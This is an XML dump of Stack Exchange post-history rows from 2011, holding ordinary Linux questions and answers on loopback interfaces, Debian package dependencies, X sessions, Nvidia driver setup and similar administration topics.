  <row Id="22386" PostHistoryTypeId="2" PostId="9404" RevisionGUID="04d31f72-745e-44c4-9260-c8773e3d54c7" CreationDate="2011-03-16T21:31:42.383" UserId="885" Comment="added 56 characters in body" Text="A [**loopback interface**](http://en.wikipedia.org/wiki/Loopback#Virtual_network_interface) is a virtual network interface. Packets sent through this interface are immediately received by the sending machine.&#xD;&#xA;&#xD;&#xA;Under [IPv4](http://en.wikipedia.org/wiki/IPv4), all addresses in the 127.0.0.0/8 range are self-routed, although usually only 127.0.0.1 is configured as the address of an interface (often called `lo`). Under [IPv6](http://en.wikipedia.org/wiki/IPv6), the sole loopback address is `0:0:0:0:0:0:0:1` (or `::1` for short). The loopback address is always called [`localhost`](http://en.wikipedia.org/wiki/Localhost) in the [DNS](http://en.wikipedia.org/wiki/Domain_Name_System).&#xD;&#xA;&#xD;&#xA;Not to be confused with [tag:loop], which is a block device used to mount filesystem images stored in regular files.&#xD;&#xA;" />
  <row Id="22387" PostHistoryTypeId="2" PostId="9405" RevisionGUID="7ef49008-fcc5-4fc7-93fd-20ab9314efaf" CreationDate="2011-03-16T21:31:42.383" UserId="885" Comment="added 70 characters in body" Text="The loopback interface is a virtual network interface for communications between processes on the same machine. Not to be confused with a loop device for mounting filesystem images." />
  <row Id="22388" PostHistoryTypeId="2" PostId="9406" RevisionGUID="68c4b774-4b58-4746-b20f-231b93708784" CreationDate="2011-03-16T21:31:45.037" UserId="885" Text="A [**loop device**](http://en.wikipedia.org/wiki/Loop_device) is a pseudo-device that makes any file accessible through a block device. This way, a file containing a filesystem image can be mounted.&#xD;&#xA;&#xD;&#xA;Not to be confused with [tag:loopback], which is a network interface.&#xD;&#xA;" />
  <row Id="22389" PostHistoryTypeId="2" PostId="9407" RevisionGUID="a677ee54-e574-4eca-89f3-2252e259b388" CreationDate="2011-03-16T21:31:45.037" UserId="885" Text="A loop device allows any file to be mounted as a filesystem image. Not to be confused with a loopback interface in networking." />
  <row Id="22390" PostHistoryTypeId="2" PostId="9408" RevisionGUID="f8aeba22-83e9-470c-bdfb-cdcaa70c4cb6" CreationDate="2011-03-16T21:36:46.997" UserId="688" Text="I don't think you can do that (make a Debian package depend on a specific Debian reelase). A workaround for the Debian 6 package is to make it depend on a newer library version than is available on Debian 5. For example, make it depend on **`libc6 &gt;= 2.11`**." />
  <row Id="22391" PostHistoryTypeId="5" PostId="9403" RevisionGUID="295f62ca-9597-4345-8a60-7d2988d288bc" CreationDate="2011-03-16T21:37:35.670" UserId="2671" Comment="added 9 characters in body" Text="Is it possible to create a dependency for the debian version in a .deb package?&#xD;&#xA;&#xD;&#xA;I would like to put two versions of one package into the same repository. One is for debian 5 and one for debian 6. The version numbers are different (deb 6 version has a higher number), but I would like to avoid accidental installs of the deb 6 version on deb 5 systems." />
  <row Id="22392" PostHistoryTypeId="5" PostId="9408" RevisionGUID="80b987e1-cee4-4c38-9da3-e8aa3a557ad1" CreationDate="2011-03-16T21:42:06.447" UserId="688" Comment="added 66 characters in body; added 81 characters in body; deleted 2 characters in body" Text="I don't think you can do that (make a Debian package depend on a specific Debian reelase). A workaround for the Debian 6 package is to make it depend on a package version that is not available on Debian 5. For example, make it depend on **`libc6 &gt; 2.7`** ([a page][1] that show which versions of that library is in which Debian suite/release).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/search?keywords=libc6" />
  <row Id="22393" PostHistoryTypeId="2" PostId="9409" RevisionGUID="7e73534f-0012-4e97-87f8-352ec23886f3" CreationDate="2011-03-16T21:45:21.950" UserId="885" Text="This isn't supported out-of-the-box on any unix I know, but you can do pretty much anything with [FUSE](http://fuse.sourceforge.net). There's at least [one implementation of nullfs¹](https://github.com/xrgtn/nullfs), a filesystem where every file exists and behaves like `/dev/null` (this isn't the only implementation I've ever seen).&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;Not to be confused with the [*BSD nullfs](http://wiki-static.aydogan.net/nullfs), which is analogous to [bindfs](http://code.google.com/p/bindfs/).&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="22394" PostHistoryTypeId="6" PostId="9332" RevisionGUID="658f6b46-ff92-4a51-870a-9518494e02dc" CreationDate="2011-03-16T21:45:39.877" UserId="885" Comment="edited tags" Text="éfilesystemsàédirectoryàéioöredirectionà" />
  <row Id="22395" PostHistoryTypeId="2" PostId="9410" RevisionGUID="fbd72f1b-5308-44b1-9641-e0a4ffb9760b" CreationDate="2011-03-16T21:47:59.743" UserId="5325" Text="I don't have an actual Debian machine here, but the same mechanism should work.&#xD;&#xA;&#xD;&#xA;    jinx:1467 Z$ dpkg-query -S /etc/debian_version&#xD;&#xA;    base-files: /etc/debian_version&#xD;&#xA;    jinx:1468 Z$ dpkg-query -l base-files&#xD;&#xA;    Desired=Unknown/Install/Remove/Purge/Hold&#xD;&#xA;    | Status=Not/Inst/Cfg-files/Unpacked/Failed-cfg/Half-inst/trig-aWait/Trig-pend&#xD;&#xA;    |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)&#xD;&#xA;    ||/ Name                Version             Description&#xD;&#xA;    +++-===================-===================-======================================================&#xD;&#xA;    ii  base-files          5.0.0ubuntu20.10.04 Debian base system miscellaneous files&#xD;&#xA;    jinx:1469 Z$ _&#xD;&#xA;    &#xD;&#xA;So, as a first cut, you should be able to depend on a specific version of the `base-files` package.  You can map releases to version numbers on http://packages.debian.org, but in this case you already have the versions:  they're the same as the Debian releases (5 vs. 6; ignore point releases for this comparison)." />
  <row Id="22396" PostHistoryTypeId="5" PostId="9408" RevisionGUID="2649c9ba-866d-4c12-97ac-a951a54fc90e" CreationDate="2011-03-16T21:51:07.173" UserId="688" Comment="added 8 characters in body; deleted 10 characters in body; edited body" Text="I don't think you can make a Debian package depend on a specific Debian release. A workaround for the Debian 6 package is to make it depend on a package version that is not available on Debian 5. For example, make it depend on **`libc6 &gt; 2.7`** ([here's a page][1] that shows which versions of that package is in which Debian suite/release).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/search?keywords=libc6" />
  <row Id="22397" PostHistoryTypeId="6" PostId="8414" RevisionGUID="9b5ae80e-f5e9-4eaa-ada6-3627e26757c7" CreationDate="2011-03-16T21:51:38.810" UserId="885" Comment="edited tags" Text="écommandölineàécolorsàéaliasàéhighlightingàétailà" />
  <row Id="22398" PostHistoryTypeId="6" PostId="9386" RevisionGUID="4553cbba-fd01-4776-9eeb-73023729718a" CreationDate="2011-03-16T21:58:50.707" UserId="885" Comment="edited tags" Text="élinuxàéfedoraàésoftwareörecàévpnà" />
  <row Id="22399" PostHistoryTypeId="6" PostId="9336" RevisionGUID="65d699de-3772-4b8a-8ca6-e740e5afa901" CreationDate="2011-03-16T21:59:03.123" UserId="885" Comment="edited tags" Text="éprivoxyà" />
  <row Id="22400" PostHistoryTypeId="2" PostId="9411" RevisionGUID="ad588cea-44f8-462c-96cf-323559bfbc02" CreationDate="2011-03-16T22:07:39.560" UserId="885" Text="The X server will die if you kill the session's main process, and all other X clients will die when they lose the connection to the X server.&#xD;&#xA;&#xD;&#xA;Under Gnome (at least under Ubuntu 10.04), the session's process is `gnome-session`. If you're not using a desktop environment, the process you want is the session manager, or if you're not running one, the window manager. More precisely, the process you need to kill is the first client that connected to the X server.&#xD;&#xA;" />
  <row Id="22401" PostHistoryTypeId="6" PostId="9328" RevisionGUID="5297255b-48f6-48e5-906c-bcba3014b09a" CreationDate="2011-03-16T22:07:52.900" UserId="885" Comment="edited tags" Text="écommandölineàéx11àélogoutà" />
  <row Id="22402" PostHistoryTypeId="2" PostId="9412" RevisionGUID="a1d90a99-f293-496a-9cc8-8cd9c6660f08" CreationDate="2011-03-16T22:21:57.480" UserId="885" Text="There is no direct relationship between the size of the executable and the size in memory. Here's a very quick overview of what happens when a binary is executed:&#xD;&#xA;&#xD;&#xA;1. The kernel parses the file and breaks it into section. Some sections are directly loaded into memory, in separate pages. Some sections aren't loaded at all (e.g. debugging symbols).&#xD;&#xA;2. If the executable is dynamically linked, the kernel calls the dynamic loader, and it loads the required shared libraries and performs link edition as required.&#xD;&#xA;3. The program starts executing its code, and usually it will request more memory to store data.&#xD;&#xA;&#xD;&#xA;For more information about executable formats, linking, and executable loading, you can read [*Linkers and Loaders* by John R. Levine](http://linker.iecc.com/).&#xD;&#xA;&#xD;&#xA;In a 5kB executable, it's likely that everything is code or data that needs to be loaded into memory except for the header. The executable code will be at least one page, perhaps two, and then there will be at least one page for the stack, probably one page or for the heap (other data), plus memory used by shared libraries.&#xD;&#xA;&#xD;&#xA;Under Linux, you can inspect the memory mappings for an executable with `cat /proc/$pid/maps`. The format is documented in the [`proc(5)`](http://www.kernel.org/doc/man-pages/online/pages/man5/proc.5.html) man page; see also [Understanding Linux /proc/id/maps](http://stackoverflow.com/questions/1401359/understanding-linux-proc-id-maps).&#xD;&#xA;" />
  <row Id="22403" PostHistoryTypeId="6" PostId="9375" RevisionGUID="219d9ce5-494e-40d9-860a-a24818877381" CreationDate="2011-03-16T22:29:08.150" UserId="885" Comment="edited tags" Text="éxorgàéxtermàéi18nà" />
  <row Id="22404" PostHistoryTypeId="6" PostId="9361" RevisionGUID="1a3e71bf-a23f-4028-987f-53a949118158" CreationDate="2011-03-16T22:30:10.430" UserId="885" Comment="edited tags" Text="écommandölineàétarà" />
  <row Id="22405" PostHistoryTypeId="2" PostId="9413" RevisionGUID="0f4a4d95-4d2e-43c8-9de7-1f681b03dec4" CreationDate="2011-03-16T22:43:17.147" UserId="885" Text="If you're developing for an embedded platform that's not based on i386 hardware, you'll need to cross-compile. The [Emdebian](http://emdebian.org/) project provides toolchains to develop for many architectures (ARM, m68k, MIPS and more) on PCs (i386 or amd64). That means under Debian, you can simply add the repositories and apt-get install the toolchain for the target(s) of your choice.&#xD;&#xA;" />
  <row Id="22406" PostHistoryTypeId="6" PostId="9356" RevisionGUID="1caf8718-c8b4-4c70-987c-7c5cd764d5f1" CreationDate="2011-03-16T22:44:17.613" UserId="885" Comment="edited tags" Text="éshellàétextöprocessingà" />
  <row Id="22407" PostHistoryTypeId="6" PostId="9339" RevisionGUID="3b4aa55a-16c8-4fc9-b730-22f821be77c2" CreationDate="2011-03-16T22:48:57.843" UserId="885" Comment="edited tags" Text="éprivoxyà" />
  <row Id="22408" PostHistoryTypeId="6" PostId="9318" RevisionGUID="f5e9878a-3bd9-4eb6-a515-45e97a274f72" CreationDate="2011-03-16T22:50:07.250" UserId="885" Comment="edited tags" Text="écommandölineàétextöprocessingàésymlinkàéutilitiesàéperlà" />
  <row Id="22409" PostHistoryTypeId="2" PostId="9414" RevisionGUID="64d290d7-4da7-4ffa-a135-c0f560cf7e7c" CreationDate="2011-03-16T23:15:22.567" UserId="4520" Text="Try right clicking on the desktop.  It may open a menu.  &#xD;&#xA;&#xD;&#xA;I have switched to using RDP for remote access my desktop. Traffic is encrypted and the desktop size is easier to adjust.  Sessions can be dropped and resumed later.  It is available as package, and relatively easy to setup.  Under the hood it is still VNC.  &#xD;&#xA;&#xD;&#xA;I wrote up my experiences on [Remote Desktops with RDP and VNC][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.systemajik.com/blog/remote-desktops-with-vnc-and-rdp/" />
  <row Id="22410" PostHistoryTypeId="25" PostId="9403" RevisionGUID="43864421-6949-4acc-b936-afba66a6af59" CreationDate="2011-03-16T23:31:19.663" Comment="http://twitter.com/#!/StackUnix/status/48164471671230464" />
  <row Id="22413" PostHistoryTypeId="2" PostId="9415" RevisionGUID="2bbe922d-8e7b-443b-a9e9-3eb85561e2f6" CreationDate="2011-03-17T00:03:57.873" UserId="5804" Text="# telinit 3                                      &#xD;&#xA;&#xD;&#xA;Stupid 30 character minimum, that is extremely retarded." />
  <row Id="22414" PostHistoryTypeId="2" PostId="9416" RevisionGUID="9ae87ce5-be06-4ea6-8ca4-ad2d46e0bf52" CreationDate="2011-03-17T00:21:19.370" UserId="5803" Text="Are there any Linux distributions that come pre-loaded with hands-on, guided tutorials or other learning software aimed at teaching a new user how to work with Linux?&#xD;&#xA;&#xD;&#xA;I'm aware that some distros are naturally easier for new users to pick up than others, but I'm particularly hoping there's one out there that directly *teaches* the user.  I've tried going the independent &quot;learn by using&quot; route with an Ubuntu VM, but would find it much more helpful and fitting to my personal learning and motivational mechanisms to have something that could guide me through the process.&#xD;&#xA;&#xD;&#xA;To be a bit more specific, I'm not just looking for a general &quot;Linux for Beginners&quot; tutorial (although that also would be a good start).  I'm hoping to eventually be as familiar and comfortable in Linux as I am in Windows (System Administrator)." />
  <row Id="22415" PostHistoryTypeId="1" PostId="9416" RevisionGUID="9ae87ce5-be06-4ea6-8ca4-ad2d46e0bf52" CreationDate="2011-03-17T00:21:19.370" UserId="5803" Text="Linux Tutorial Distro?" />
  <row Id="22416" PostHistoryTypeId="3" PostId="9416" RevisionGUID="9ae87ce5-be06-4ea6-8ca4-ad2d46e0bf52" CreationDate="2011-03-17T00:21:19.370" UserId="5803" Text="édistributionöchoiceàélearningà" />
  <row Id="22417" PostHistoryTypeId="4" PostId="9416" RevisionGUID="30c9618b-15d5-47a5-afd6-3155caa1abdc" CreationDate="2011-03-17T00:43:55.437" UserId="2511" Comment="edited title" Text="Are there any Linux distros aimed specifically at being Linux tutorials?" />
  <row Id="22418" PostHistoryTypeId="2" PostId="9417" RevisionGUID="faeb103c-06a1-464d-a502-f3491f63369d" CreationDate="2011-03-17T00:53:30.060" UserId="2511" Text="I started to make this as a joking comment, but I'm actually going to go ahead and make it a serious suggestion. Check out [Linux From Scratch][1], which isn't a distro per se, but rather a book and toolkit for building your own running Linux system from source, _without_ a distro.&#xD;&#xA;&#xD;&#xA;If you were new to computers in general, this clearly would be jumping right off into the deep end. But if you're a competent sysadmin with another OS, it really shouldn't involve too much that you can't handle. And it will give you a good, hands-on understanding of what you really need underneath the shiny KDE or Gnome hood to make the system actually work.&#xD;&#xA;&#xD;&#xA;At the GUI level, modern Linux distributions are basically _almost_ like Windows or OS X, but with a whole host of different conventions and oddities that will drive you crazy (until, we hope, you grow to love and/or tolerate them). And because it's put together from the work of tens of thousands of different developers, sometimes the integration isn't perfect and the underlying bits poke through.&#xD;&#xA;&#xD;&#xA;So, consider _starting_ from the underlying bits and see where that gets you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/lfs/" />
  <row Id="22419" PostHistoryTypeId="2" PostId="9418" RevisionGUID="a5988dff-ecd5-489f-b360-c6c272ea6a74" CreationDate="2011-03-17T00:58:39.850" UserId="688" Text="One distro I can think of that was made to be a teaching system is [Linux From Scratch][1]. It's aim though is to show you how to build (from source code) the entire GNU/Linux system from scratch, rather than just to teach you how it works. You will of course need a host (a running system) in the early stages. Your understanding and appreciation of the system will be higher than at the moment.&#xD;&#xA;&#xD;&#xA;Another system that sort of fits your learning thirst is [Arch Linux][2]. It's makers claim to try hard to stay from customizing it, leaving you to do it. It has extensive documentation from it's [wiki site][3]. I haven't seen a distro provide so much, but that's just my limited experience. Note however that you'll need to be online since the only tutorial that Arch provides after the default installation is, ummm, the installation guide.&#xD;&#xA;&#xD;&#xA;Note that you can achieve pretty much anything with any distro you choose. There's turorials and manuals all over the place. That is they are not that much different from each other. They are running similar underlying technologies, so the differences between them are almost arbitrary :)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/&#xD;&#xA;  [2]: http://www.archlinux.org/&#xD;&#xA;  [3]: http://wiki.archlinux.org/" />
  <row Id="22420" PostHistoryTypeId="2" PostId="9419" RevisionGUID="6138239d-4706-47c6-86c1-1dc8ac0bdd9a" CreationDate="2011-03-17T01:49:17.610" UserId="5685" Text="For the definition part, on a 2.6.38~ish kernel for the Intel architecture:&#xD;&#xA;&gt; arch/x86/include/asm/page_types.h:&#xD;&#xA;&#xD;&#xA;&gt;   /* PAGE_SHIFT determines the page size */&#xD;&#xA;&#xD;&#xA;&gt;   #define PAGE_SHIFT      12&#xD;&#xA;&#xD;&#xA;&gt;   #define PAGE_SIZE       (_AC(1,UL) &lt;&lt; PAGE_SHIFT)&#xD;&#xA;" />
  <row Id="22421" PostHistoryTypeId="2" PostId="9420" RevisionGUID="d094554a-a146-46ad-af12-9a4c33cbed0c" CreationDate="2011-03-17T02:08:01.287" UserId="5805" Text="Hi guys,&#xD;&#xA;I have problem on graphic card with ACER V193w LCD display. I really don't know how to configure /setup/ Nvidia GeForce 9800 on Ubuntu 10.10. Can you guys please help me!" />
  <row Id="22422" PostHistoryTypeId="1" PostId="9420" RevisionGUID="d094554a-a146-46ad-af12-9a4c33cbed0c" CreationDate="2011-03-17T02:08:01.287" UserId="5805" Text="How to setup Nvidia GeForce 9800 card on Ubuntu 10.10" />
  <row Id="22423" PostHistoryTypeId="3" PostId="9420" RevisionGUID="d094554a-a146-46ad-af12-9a4c33cbed0c" CreationDate="2011-03-17T02:08:01.287" UserId="5805" Text="éubuntuàédesktopöenvironmentàénvidiaà" />
  <row Id="22424" PostHistoryTypeId="25" PostId="9416" RevisionGUID="38778b4b-9bc6-492b-b17b-02a2555de182" CreationDate="2011-03-17T02:31:20.210" Comment="http://twitter.com/#!/StackUnix/status/48209772868149248" />
  <row Id="22425" PostHistoryTypeId="2" PostId="9421" RevisionGUID="c4368ecb-fdc6-4b3c-8f93-a1e807084c63" CreationDate="2011-03-17T02:59:15.053" UserId="5454" Text="In addition to Iain's answer, which should work (but watch out for the smart-quotes, and see below for a caveat), at the top of `/etc/init.d/ssh` you will find:&#xD;&#xA;&#xD;&#xA;    ### BEGIN INIT INFO&#xD;&#xA;    # Provides:		sshd&#xD;&#xA;    # Required-Start:	$remote_fs $syslog&#xD;&#xA;    # Required-Stop:	$remote_fs $syslog&#xD;&#xA;    # Default-Start:	2 3 4 5&#xD;&#xA;    # Default-Stop:		&#xD;&#xA;    # Short-Description:	OpenBSD Secure Shell server&#xD;&#xA;    ### END INIT INFO&#xD;&#xA;    &#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;    umask 022&#xD;&#xA;&#xD;&#xA;and you can change the value here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Caveat:**&#xD;&#xA;&#xD;&#xA;many S/FTP clients will try to set the permissions on newly uploaded files to match the permissions on the local system, so check if this is what's happening.  If it is, you can usually disable this option in the settings of the client you're using to upload.&#xD;&#xA;&#xD;&#xA;**edit:**&#xD;&#xA;&#xD;&#xA;as another suggestion, when creating a set-up like this, I always make full use of the sticky-bit for group ownership (i.e., I set all directory permissions to 2775) so that newly created files and directories inherit the correct group ownership." />
  <row Id="22426" PostHistoryTypeId="2" PostId="9422" RevisionGUID="3f83a27b-b857-4b8a-a26c-9763e21e4a88" CreationDate="2011-03-17T03:00:44.207" UserId="5765" Text="One of my first distros was Slackware. It was immensely helpful to have [The Linux Documentation Project (TLDP)](http://tldp.org/) as part of the base install. The topics are broad and varied. They deal with specific problems. They're not aimed at the casual user. You must be curious and have an aptitude for computers.&#xD;&#xA;&#xD;&#xA;Alphabetical index of HOWTOs: http://tldp.org/HOWTO/HOWTO-INDEX/howtos.html" />
  <row Id="22427" PostHistoryTypeId="2" PostId="9423" RevisionGUID="44ca7b16-fe4d-48b0-b5ae-60a504685e59" CreationDate="2011-03-17T03:03:46.247" UserId="3082" Text="Here's my xorg.conf, sans comments, for a laptop with an Nvidia chip. You can start from here and edit it.&#xD;&#xA;&#xD;&#xA;You an also try running the nvidia-xconfig tool, but it doesn't create proper configs for modern xorg servers. But you can cut and paste the driver part out and add it to this one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Section &quot;Files&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/misc&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/Type1&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/TTF&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/75dpi&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/100dpi&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/aquafont&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/urw-fonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/corefonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/sgi-fonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/cronyx&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/cyrillic&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/essays1743&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/freefonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/freefont-ttf&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/libertine-ttf&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/intlfonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/terminus&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/ttf-bitstream-vera&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/unifont&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/dejavu&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/mplus-outline-fonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/OTF&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/Speedo&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/stix-fonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/tengwar-fonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/thaifonts-scalable&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/unfonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/urwvn-fonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/vdrsymbols-ttf&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/liberation-fonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/arphicfonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/culmus&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/droid&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/efont-unicode&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/farsi-fonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/mathematica-fonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/mikachan-font-ttf&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/opendesktop-fonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/proggy-fonts&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/unifont&quot;&#xD;&#xA;        FontPath	&quot;/usr/share/fonts/webby-fonts&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Section &quot;Module&quot;&#xD;&#xA;        Load	&quot;dbe&quot;&#xD;&#xA;        SubSection	&quot;extmod&quot;&#xD;&#xA;    	Option	&quot;omit xfree86-dga&quot;&#xD;&#xA;            Option  &quot;omit apm&quot;&#xD;&#xA;        EndSubSection&#xD;&#xA;        Load	&quot;glx&quot;&#xD;&#xA;        Load	&quot;v4l&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Section &quot;ServerFlags&quot;&#xD;&#xA;        Option	&quot;blank time&quot;	&quot;5&quot;	# 10 minutes&#xD;&#xA;        Option	&quot;standby time&quot;	&quot;10&quot;&#xD;&#xA;        Option	&quot;suspend time&quot;	&quot;20&quot;&#xD;&#xA;        Option	&quot;off time&quot;	&quot;30&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;DRI&quot;&#xD;&#xA;        Mode 0666&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;        Identifier	&quot;MetaMonitor&quot;&#xD;&#xA;        Option      &quot;DPMS&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;        Identifier	&quot;Nvidia&quot;&#xD;&#xA;        Driver	&quot;nvidia&quot;&#xD;&#xA;        VendorName  &quot;NVIDIA Corporation&quot;&#xD;&#xA;        BoardName   &quot;Quadro FX 2800M&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;InputClass&quot;&#xD;&#xA;    	Identifier &quot;synaptics&quot;&#xD;&#xA;    	MatchIsTouchpad &quot;on&quot;&#xD;&#xA;    	Driver &quot;synaptics&quot;&#xD;&#xA;    	#Option &quot;SHMConfig&quot; &quot;on&quot;&#xD;&#xA;    	Option &quot;VertTwoFingerScroll&quot; &quot;on&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;        Identifier	&quot;Screen1&quot;&#xD;&#xA;        Device	&quot;Nvidia&quot;&#xD;&#xA;        Monitor	&quot;MetaMonitor&quot;&#xD;&#xA;        DefaultDepth 24&#xD;&#xA;        Option         &quot;TwinView&quot; &quot;1&quot;&#xD;&#xA;        Option         &quot;metamodes&quot; &quot;DFP-0: nvidia-auto-select +0+0, DFP-1: nvidia-auto-select +1920+0&quot;&#xD;&#xA;        SubSection     &quot;Display&quot;&#xD;&#xA;            Depth       24&#xD;&#xA;        EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;        Identifier	&quot;Main Layout&quot;&#xD;&#xA;        Screen	0 &quot;Screen1&quot; 0 0&#xD;&#xA;        Option         &quot;Xinerama&quot; &quot;0&quot;&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22428" PostHistoryTypeId="2" PostId="9424" RevisionGUID="5797c7d1-d15c-4281-98a3-1c2ef2512d65" CreationDate="2011-03-17T04:07:51.023" UserId="3227" Text="You may be interested in this [mailing list post][1] by the original GNU grep author which explains a few of the GNU grep optimizations. Another [enjoyable exploration][2] by ridiculous_fish (author of Hex Fiend)&#xD;&#xA;&#xD;&#xA;[1]: http://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html&#xD;&#xA;[2]: http://ridiculousfish.com/blog/archives/2006/05/30/old-age-and-treachery/" />
  <row Id="22429" PostHistoryTypeId="5" PostId="9418" RevisionGUID="2ab4b577-ee13-464c-8002-6f54b7d5cdbf" CreationDate="2011-03-17T04:47:48.117" UserId="688" Comment="added 124 characters in body" Text="One distro I can think of that was made to be a teaching system is [Linux From Scratch][1]. It's aim though is to show you how to build (from source code) the entire GNU/Linux system from scratch, rather than just to teach you how it works. By the time you've finished, your understanding and appreciation of building an OS will be higher than at the moment.&#xD;&#xA;&#xD;&#xA;**NOTE**: You will of course need a host (a running OS) in the early stages. LFS comes with a live CD for that (AFAIR), removing the need for an installation.&#xD;&#xA;&#xD;&#xA;Another system that sort of fits your learning thirst is [Arch Linux][2]. It's makers claim to try hard to stay from customizing it, leaving you to do it. It has extensive documentation from it's [wiki site][3]. I haven't seen a distro provide so much, but that's just my limited experience. Note however that you'll need to be online since the only tutorial that Arch provides after the default installation is, ummm, the installation guide.&#xD;&#xA;&#xD;&#xA;Note that you can achieve pretty much anything with any distro you choose. There's turorials and manuals all over the place. That is they are not that much different from each other. They are running similar underlying technologies, so the differences between them are almost arbitrary :)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/&#xD;&#xA;  [2]: http://www.archlinux.org/&#xD;&#xA;  [3]: http://wiki.archlinux.org/" />
  <row Id="22430" PostHistoryTypeId="2" PostId="9425" RevisionGUID="da3fd211-3b5a-4797-ae4f-d7c79ec468fb" CreationDate="2011-03-17T05:02:42.077" UserId="3764" Text="Ubuntu does not install the nVidia binary drivers by by default so you need to install them yourself. &#xD;&#xA;&#xD;&#xA;    $ sudo apt-get update &amp;&amp; sudo apt-get install nvidia-current nvidia-current-modaliases nvidia-settings&#xD;&#xA;&#xD;&#xA;That should work for you. If you want the later version of the driver I found some simple instructions [here][1] for installing from a PPA repository.&#xD;&#xA;&#xD;&#xA;Add the latest driver repository:&#xD;&#xA;&#xD;&#xA;    $ sudo add-apt-repository ppa:ubuntu-x-swat/x-updates&#xD;&#xA;&#xD;&#xA;Install the latest driver&#xD;&#xA;&#xD;&#xA;    $ sudo apt-get update &amp;&amp; sudo apt-get install nvidia-current nvidia-current-modaliases nvidia-settings&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webupd8.org/2010/06/how-to-install-nvidia-25635-display.html" />
  <row Id="22432" PostHistoryTypeId="2" PostId="9427" RevisionGUID="ae414d0b-4f9b-4e6f-8556-5d72c8bc3d3c" CreationDate="2011-03-17T05:12:03.467" UserId="5630" Text="I installed OpenOffice using the installer downloaded from openoffice.org on Fedora 14.  I went to use it today for the first time and it won't open.  I'm assuming with updates that have been installing that perhaps something got overwritten or something since I didn't install it through yum.  I wasn't sure how to go about uninstalling it now so that I can reinstall it using yum so that it can monitor dependencies for me.  How would I do this?" />
  <row Id="22433" PostHistoryTypeId="1" PostId="9427" RevisionGUID="ae414d0b-4f9b-4e6f-8556-5d72c8bc3d3c" CreationDate="2011-03-17T05:12:03.467" UserId="5630" Text="Is it possible to uninstall OpenOffice?" />
